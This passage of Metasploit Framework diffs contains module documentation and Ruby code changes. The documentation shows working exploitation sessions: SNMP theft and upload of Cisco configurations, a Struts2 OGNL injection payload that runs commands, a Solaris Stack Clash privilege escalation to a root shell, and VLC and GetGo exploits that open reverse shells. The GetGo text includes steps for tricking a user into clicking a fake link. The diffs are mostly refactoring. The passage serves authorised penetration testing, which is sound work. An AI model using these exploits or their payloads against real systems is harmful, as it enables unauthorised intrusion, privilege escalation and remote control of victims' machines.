[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
|
||||
```
|
||||
|
||||
3. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove `666` from the system.
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
|
||||
```
|
||||
|
||||
4. Confirm we have our config file
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
|
||||
[*] exec: ls -lah /tmp/backup_config
|
||||
|
||||
-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [snmp-ios-config](https://nmap.org/nsedoc/scripts/snmp-ios-config.html) script
|
||||
|
||||
```
|
||||
nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
|
||||
Nmap scan report for 192.168.2.239
|
||||
Host is up (0.0034s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
161/udp open snmp
|
||||
| snmp-ios-config:
|
||||
| !
|
||||
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
|
||||
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
|
||||
| !
|
||||
| version 12.4
|
||||
| parser config cache interface
|
||||
| no service pad
|
||||
| service timestamps debug datetime msec
|
||||
| service timestamps log datetime msec
|
||||
| no service password-encryption
|
||||
| service internal
|
||||
| service compress-config
|
||||
| service sequence-numbers
|
||||
| !
|
||||
| hostname UC520
|
||||
...sip...
|
||||
```
|
|
@ -0,0 +1,49 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
|
||||
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
|
||||
feature of IOS and many other networking devices, and is part of an administrator functionality.
|
||||
A read-write community string is required, as well as a tftp server (metasploit includes one).
|
||||
The file will be saved to `flash:`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
|
||||
4. Do: ```set COMMUNITY [read-write snmp]```
|
||||
5. Do: ```set rhosts [ip]```
|
||||
6. Do: ```set source [file]```
|
||||
7. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**COMMUNITY**
|
||||
|
||||
The SNMP community string to use which must be read-write. Default is `public`.
|
||||
|
||||
**SOURCE**
|
||||
|
||||
The location of the source file to be uploaded to the Cisco device.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
|
||||
|
||||
```
|
||||
msf5 > setg rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 > use auxiliary/scanner/snmp/cisco_upload_file
|
||||
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
|
||||
source => /tmp/backup_config2
|
||||
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
|
||||
community => private
|
||||
msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
|
||||
|
||||
[*] Starting TFTP server...
|
||||
[*] Copying file backup_config2 to 2.2.2.2...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Providing some time for transfers to complete...
|
||||
[*] Shutting down the TFTP service...
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -2,6 +2,12 @@ CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles nam
|
|||
|
||||
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
|
||||
|
||||
Tomcat versions prior to 7.0.88 will provide output from the injected OGNL and require that we prepend some OGNL to set `allowStaticMethodAccess=true`. Versions starting at 7.0.88 do not provide OUTPUT from injected OGNL and will error if we attempt to modify `allowStaticMethodAccess`. The `ENABLE_STATIC` option is used to toggle behavior, and the `check` method fingerprints the correct version.
|
||||
|
||||
As a result of the lack of OGNL output, we currently cannot support large payloads (namely Windows Meterpreter payloads) on Tomcat versions >= 7.088. Future committers might consider compressing the windows/x64/meterpreter templates or implementing GZIP compression of payloads.
|
||||
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
|
||||
|
@ -68,7 +74,7 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
|||
Confirm that check functionality works:
|
||||
- [ ] Install the application using the steps above.
|
||||
- [ ] Start msfconsole.
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_ognl```
|
||||
- [ ] Set the RHOST.
|
||||
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
|
||||
- [ ] Confirm the target is *not* vulnerable: ```check```
|
||||
|
@ -105,31 +111,31 @@ msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
|||
Checking a vulnerable endpoint, as installed in the above steps:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/struts_namespace_rce
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
|
||||
msf > use exploit/multi/http/struts_namespace_ognl
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set ACTION help.action
|
||||
ACTION => help.action
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > check
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > check
|
||||
[+] 192.168.199.135:32771 The target is vulnerable.
|
||||
```
|
||||
|
||||
Running an arbitrary command on the above-described environment:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set PAYLOAD cmd/unix/generic
|
||||
PAYLOAD => cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > set CMD hostname
|
||||
CMD => hostname
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > run
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) > run
|
||||
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
|
||||
|
||||
[*] Command ran. Output from command:
|
||||
b3d9b350d9b6
|
||||
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/struts_namespace_rce) >
|
||||
msf5 exploit(multi/http/struts_namespace_ognl) >
|
||||
```
|
||||
|
||||
Getting a Meterpreter session on the above-described environment:
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in RSH on unpatched Solaris
|
||||
systems which allows users to gain root privileges.
|
||||
|
||||
The stack guard page on unpatched Solaris systems is of
|
||||
insufficient size to prevent collisions between the stack
|
||||
and heap memory, aka Stack Clash.
|
||||
|
||||
This module uploads and executes Qualys' Solaris_rsh.c exploit,
|
||||
which exploits a vulnerability in RSH to bypass the stack guard
|
||||
page to write to the stack and create a SUID root shell.
|
||||
|
||||
This module has offsets for Solaris versions 11.1 (x86) and
|
||||
Solaris 11.3 (x86).
|
||||
|
||||
Exploitation will usually complete within a few minutes using
|
||||
the default number of worker threads (10). Occasionally,
|
||||
exploitation will fail. If the target system is vulnerable,
|
||||
usually re-running the exploit will be successful.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Solaris 11.1 (x86)
|
||||
* Solaris 11.3 (x86)
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use exploit/solaris/local/rsh_stack_clash_priv_esc`
|
||||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `run`
|
||||
6. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`.
|
||||
|
||||
**RSH_PATH**
|
||||
|
||||
Path to rsh executable. (default: `/usr/bin/rsh`)
|
||||
|
||||
**WORKERS**
|
||||
|
||||
Number of workers. (default: `10`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Solaris 11.3 (x86)
|
||||
|
||||
```
|
||||
msf5 > use exploit/solaris/local/rsh_stack_clash_priv_esc
|
||||
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set rhost 172.16.191.221
|
||||
rhost => 172.16.191.221
|
||||
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Using target: Solaris 11.3
|
||||
[*] Writing '/tmp/.2yZgv2XkEj/.KJqSwhpguh.c' (10297 bytes) ...
|
||||
[*] Symlinking /tmp/.2yZgv2XkEj/.KJqSwhpguh to /tmp/.2yZgv2XkEj/ROOT
|
||||
[*] Creating suid root shell. This may take a while...
|
||||
[*] Completed in 324.21s
|
||||
[+] suid root shell created: /tmp/.2yZgv2XkEj/ROOT
|
||||
[*] Writing '/tmp/.2yZgv2XkEj/.bWjzWVllCB' (109 bytes) ...
|
||||
[*] Executing payload...
|
||||
[*] Started bind TCP handler against 172.16.191.221:4444
|
||||
[+] Deleted /tmp/.2yZgv2XkEj/.KJqSwhpguh.c
|
||||
[+] Deleted /tmp/.2yZgv2XkEj/.KJqSwhpguh
|
||||
[!] Tried to delete /tmp/.2yZgv2XkEj/ROOT, unknown result
|
||||
[+] Deleted /tmp/.2yZgv2XkEj/.bWjzWVllCB
|
||||
[+] Deleted /tmp/.2yZgv2XkEj
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=10(staff)
|
||||
uname -a
|
||||
SunOS solaris 5.11 11.3 i86pc i386 i86pc
|
||||
cat /etc/release
|
||||
Oracle Solaris 11.3 X86
|
||||
Copyright (c) 1983, 2015, Oracle and/or its affiliates. All rights reserved.
|
||||
Assembled 06 October 2015
|
||||
|
||||
```
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
## Description
|
||||
|
||||
This modules adds a buffer overflow exploit for GetGo Download Manager, which supports
|
||||
4.9.0.1982 and 5.3.0.2712. Versions prior should also be vulnerable.
|
||||
|
||||
This exploit has been tested on Windows XP SP3. The vulnerable software can be downloaded
|
||||
at [GetGo Download Manager 5.3.0.2712](https://www.exploit-db.com/apps/b26d82eadef93531f8beafac6105ef13-GetGoDMSetup.exe)
|
||||
|
||||
To use this, first start the module like the following example:
|
||||
|
||||
```
|
||||
msf5 exploit(windows/browser/getgodm_http_response_bof) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.12:4444
|
||||
msf5 exploit(windows/browser/getgodm_http_response_bof) > [*] Using URL: http://0.0.0.0:8080/shakeitoff.mp3
|
||||
[*] Local IP: http://192.168.0.12:8080/shakeitoff.mp3
|
||||
[*] Server started.
|
||||
```
|
||||
|
||||
The exploit should give you a fake link. Pass this link to the Getgo user, and instruct them to
|
||||
do the following:
|
||||
|
||||
1. Start GetGo Download Manager
|
||||
2. Click on the DOWNLOAD button
|
||||
3. Click on New (if the link is already copied to the clipboard, clicking on this should trigger
|
||||
the download, and get exploited).
|
||||
4. If the link isn't in the clipboard, instruct the user to enter the URL in the URL field, and
|
||||
click OK. The user should also get exploited this way.
|
|
@ -0,0 +1,51 @@
|
|||
## Description
|
||||
|
||||
VideoLAN VLC <= v2.2.8 (32 and 64 bit) are vulnerable to a use-after-free vulnerability that exists in the parsing of MKV files.
|
||||
|
||||
This module has been tested against 32 and 64 bit versions of VLC v2.2.8 on Windows 10 Pro x64.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[VLC](https://get.videolan.org/vlc/) <= v2.2.8
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- `./msfconsole -q`
|
||||
- `use exploit/windows/fileformat/vlc_mkv`
|
||||
- `run`
|
||||
- Start handler
|
||||
- Copy over mkv files to target hosts and open part1 in VLC
|
||||
- Set a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 x64 running VLC 2.2.8 (x64)
|
||||
|
||||
```
|
||||
msf5 > use exploit/windows/fileformat/vlc_mkv
|
||||
msf5 exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134
|
||||
lhost => 172.22.222.134
|
||||
msf5 exploit(windows/fileformat/vlc_mkv) > run
|
||||
|
||||
[+] tjub-part1.mkv stored at /home/msfdev/.msf4/local/tjub-part1.mkv
|
||||
[*] Created tjub-part1.mkv. Target should open this file
|
||||
[+] tjub-part2.mkv stored at /home/msfdev/.msf4/local/tjub-part2.mkv
|
||||
[*] Created tjub-part2.mkv. Put this file in the same directory as tjub-part1.mkv
|
||||
[*] Appending blocks to tjub-part1.mkv
|
||||
[+] Succesfully appended blocks to tjub-part1.mkv
|
||||
msf5 exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444
|
||||
[*] Payload handler running as background job 0.
|
||||
msf5 exploit(windows/fileformat/vlc_mkv) >
|
||||
[*] Started reverse TCP handler on 172.22.222.134:4444
|
||||
[*] Sending stage (336 bytes) to 172.22.222.200
|
||||
[*] Command shell session 2 opened (172.22.222.134:4444 -> 172.22.222.200:49731) at 2018-10-10 12:08:58 -0500
|
||||
sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: DESKTOP-IPOGIJR
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.17134 N/A Build 17134
|
||||
```
|
|
@ -10,17 +10,18 @@ module Metasploit
|
|||
# @return [String] The normalized code.
|
||||
def self.normalize_code(code, headers)
|
||||
code = code.lines.map { |line|
|
||||
if line =~ /^\s*#include <([[:print:]]+)>$/
|
||||
%Q|<%= headers.include('#{$1}') %>\n|
|
||||
if line =~ /^\s#include <([[:print:]]+)>$/
|
||||
h = headers.include("#{$1}")
|
||||
%Q|#{h}\n|
|
||||
else
|
||||
line
|
||||
end
|
||||
}.join
|
||||
|
||||
ERB.new(code).result(binding)
|
||||
code
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -16,7 +16,6 @@ class Msf::Author
|
|||
# A hash that maps known author names to email addresses
|
||||
KNOWN = {
|
||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||
'anonymous' => 'Unknown',
|
||||
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',
|
||||
|
|
|
@ -48,10 +48,22 @@ class ValidationError < ArgumentError
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This exception is raised when the module cache is invalidated. It is
|
||||
# handled internally by the ModuleManager.
|
||||
# This exception is raised when a module fails to load.
|
||||
#
|
||||
# It is used by Msf::Modules::Loader::Base.
|
||||
#
|
||||
###
|
||||
class ModuleLoadError < RuntimeError
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This exception is raised when the module cache is invalidated.
|
||||
#
|
||||
# It is handled internally by the ModuleManager.
|
||||
#
|
||||
###
|
||||
class ModuleCacheInvalidated < RuntimeError
|
||||
|
|
|
@ -196,8 +196,12 @@ module Exploit::Remote::Tcp
|
|||
end
|
||||
|
||||
def print_prefix
|
||||
if rhost
|
||||
super + peer + " - "
|
||||
# Only inject a host/port prefix if we have exactly one entry.
|
||||
# Otherwise we are logging in the global context where rhost can be any
|
||||
# size (being an alias for rhosts), which is not very useful to insert into
|
||||
# a single log line.
|
||||
if rhost && rhost.split(' ').length == 1
|
||||
super + peer + ' - '
|
||||
else
|
||||
super
|
||||
end
|
||||
|
|
|
@ -362,17 +362,24 @@ class Msf::Modules::Loader::Base
|
|||
# @return [nil] if any module name along the chain does not exist.
|
||||
def current_module(module_names)
|
||||
# Don't want to trigger ActiveSupport's const_missing, so can't use constantize.
|
||||
named_module = module_names.inject(Object) { |parent, module_name|
|
||||
named_module = module_names.reduce(Object) do |parent, module_name|
|
||||
# Since we're searching parent namespaces first anyway, this is
|
||||
# semantically equivalent to providing false for the 1.9-only
|
||||
# "inherit" parameter to const_defined?. If we ever drop 1.8
|
||||
# support, we can save a few cycles here by adding it back.
|
||||
if parent.const_defined?(module_name)
|
||||
parent.const_get(module_name)
|
||||
else
|
||||
break
|
||||
begin
|
||||
if parent.const_defined?(module_name)
|
||||
parent.const_get(module_name)
|
||||
else
|
||||
break
|
||||
end
|
||||
# HACK: This doesn't slow load time as much as checking proactively
|
||||
rescue NameError
|
||||
reversed_name = self.class.reverse_relative_name(module_name)
|
||||
# TODO: Consolidate this with Msftidy#check_snake_case_filename ?
|
||||
raise Msf::ModuleLoadError, "#{reversed_name} must be lowercase alphanumeric snake case"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
named_module
|
||||
end
|
||||
|
@ -522,7 +529,7 @@ class Msf::Modules::Loader::Base
|
|||
# @return [String] The module full name
|
||||
#
|
||||
# @see namespace_module_names
|
||||
def reverse_relative_name(relative_name)
|
||||
def self.reverse_relative_name(relative_name)
|
||||
relative_name.split('__').map(&:downcase).join('/')
|
||||
end
|
||||
|
||||
|
|
|
@ -90,8 +90,8 @@ class RPC_Session < RPC_Base
|
|||
def rpc_shell_read( sid, ptr=nil)
|
||||
s = _valid_session(sid,"shell")
|
||||
begin
|
||||
res = s.shell_read(data)
|
||||
{ "write_count" => res.to_s}
|
||||
res = s.shell_read()
|
||||
{ "seq" => 0, "data" => res.to_s}
|
||||
rescue ::Exception => e
|
||||
error(500, "Session Disconnected: #{e.class} #{e}")
|
||||
end
|
||||
|
|
|
@ -346,7 +346,7 @@ module Msf
|
|||
'ref' => 'Modules with a matching ref',
|
||||
'reference' => 'Modules with a matching reference',
|
||||
'target' => 'Modules affecting this target',
|
||||
'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, post, or nop)',
|
||||
'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)',
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.ljust 12}: #{description}"
|
||||
end
|
||||
|
@ -513,8 +513,6 @@ module Msf
|
|||
show_auxiliary
|
||||
when 'post'
|
||||
show_post
|
||||
when 'evasion'
|
||||
show_evasion
|
||||
when 'info'
|
||||
cmd_info(*args[1, args.length])
|
||||
when 'options'
|
||||
|
@ -539,7 +537,7 @@ module Msf
|
|||
if (mod)
|
||||
show_evasion_options(mod)
|
||||
else
|
||||
print_error("No module selected.")
|
||||
show_evasion
|
||||
end
|
||||
when 'sessions'
|
||||
if (active_module and active_module.respond_to?(:compatible_sessions))
|
||||
|
@ -1022,8 +1020,8 @@ module Msf
|
|||
end
|
||||
end
|
||||
|
||||
def show_evasion(mod)
|
||||
puts "Place holder for show_evasion"
|
||||
def show_evasion(regex = nil, minrank = nil, opts = nil) # :nodoc:
|
||||
show_module_set('evasion', framework.evasion, regex, minrank, opts)
|
||||
end
|
||||
|
||||
def show_global_options
|
||||
|
|
|
@ -50,6 +50,7 @@ class Console::CommandDispatcher::Core
|
|||
c = {
|
||||
'?' => 'Help menu',
|
||||
'background' => 'Backgrounds the current session',
|
||||
'bg' => 'Alias for background',
|
||||
'close' => 'Closes a channel',
|
||||
'channel' => 'Displays information or control active channels',
|
||||
'exit' => 'Terminate the meterpreter session',
|
||||
|
@ -330,6 +331,9 @@ class Console::CommandDispatcher::Core
|
|||
client.interacting = false
|
||||
end
|
||||
|
||||
alias cmd_bg cmd_background
|
||||
alias cmd_bg_help cmd_background_help
|
||||
|
||||
#
|
||||
# Displays information about active channels
|
||||
#
|
||||
|
|
|
@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
and SNMP read and read/write community strings to be retrieved without
|
||||
authentication.
|
||||
|
||||
This module is the work of Patrick DeSantis of Cisco Talos K. Reid
|
||||
This module is the work of Patrick DeSantis of Cisco Talos and K. Reid
|
||||
Wightman.
|
||||
|
||||
Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,
|
||||
|
|
|
@ -31,21 +31,23 @@ class MetasploitModule < Msf::Encoder::Xor
|
|||
if (modified_registers & saved_registers).length > 0
|
||||
raise BadGenerateError
|
||||
end
|
||||
begin
|
||||
decoder =
|
||||
Rex::Arch::X86.set(
|
||||
Rex::Arch::X86::ECX,
|
||||
state.buf.length - 1,
|
||||
state.badchars) +
|
||||
"\xe8\xff\xff\xff" + # call $+4
|
||||
"\xff\xc1" + # inc ecx
|
||||
"\x5e" + # pop esi
|
||||
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
|
||||
"\xe2\xfa" # loop xor_loop
|
||||
|
||||
decoder =
|
||||
Rex::Arch::X86.set(
|
||||
Rex::Arch::X86::ECX,
|
||||
state.buf.length - 1,
|
||||
state.badchars) +
|
||||
"\xe8\xff\xff\xff" + # call $+4
|
||||
"\xff\xc1" + # inc ecx
|
||||
"\x5e" + # pop esi
|
||||
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
|
||||
"\xe2\xfa" # loop xor_loop
|
||||
|
||||
# Initialize the state context to 1
|
||||
state.context = 1
|
||||
|
||||
# Initialize the state context to 1
|
||||
state.context = 1
|
||||
rescue RuntimeError => e
|
||||
raise BadcharError if e.message == "No valid set instruction could be created!"
|
||||
end
|
||||
return decoder
|
||||
end
|
||||
|
||||
|
|
|
@ -42,7 +42,11 @@ class MetasploitModule < Msf::Encoder::NonAlpha
|
|||
# payload.
|
||||
#
|
||||
def encode_block(state, block)
|
||||
newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha::encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size)
|
||||
begin
|
||||
newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha::encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size)
|
||||
rescue RuntimeError => e
|
||||
raise BadcharError if e.message == "BadChar"
|
||||
end
|
||||
return newchar
|
||||
end
|
||||
|
||||
|
|
|
@ -47,11 +47,11 @@ class MetasploitModule < Msf::Evasion
|
|||
jsnet_encoded = Rex::Text.encode_base64(js_file)
|
||||
# This is used in the ERB template
|
||||
fname = Rex::Text.rand_text_alpha(6)
|
||||
arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
|
||||
hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')
|
||||
hta = File.read(hta_path)
|
||||
fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exists?(hta_path)
|
||||
hta_file = ERB.new(hta).result(binding())
|
||||
|
||||
file_create(hta_file)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,9 +61,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
register_options(
|
||||
[
|
||||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
|
||||
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -70,8 +70,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
))
|
||||
register_options [
|
||||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -68,8 +68,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -65,10 +65,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -90,7 +90,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
}
|
||||
))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -52,10 +52,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultTarget' => 0,
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -78,11 +78,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
register_options [
|
||||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -69,11 +69,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
register_options [
|
||||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
}
|
||||
))
|
||||
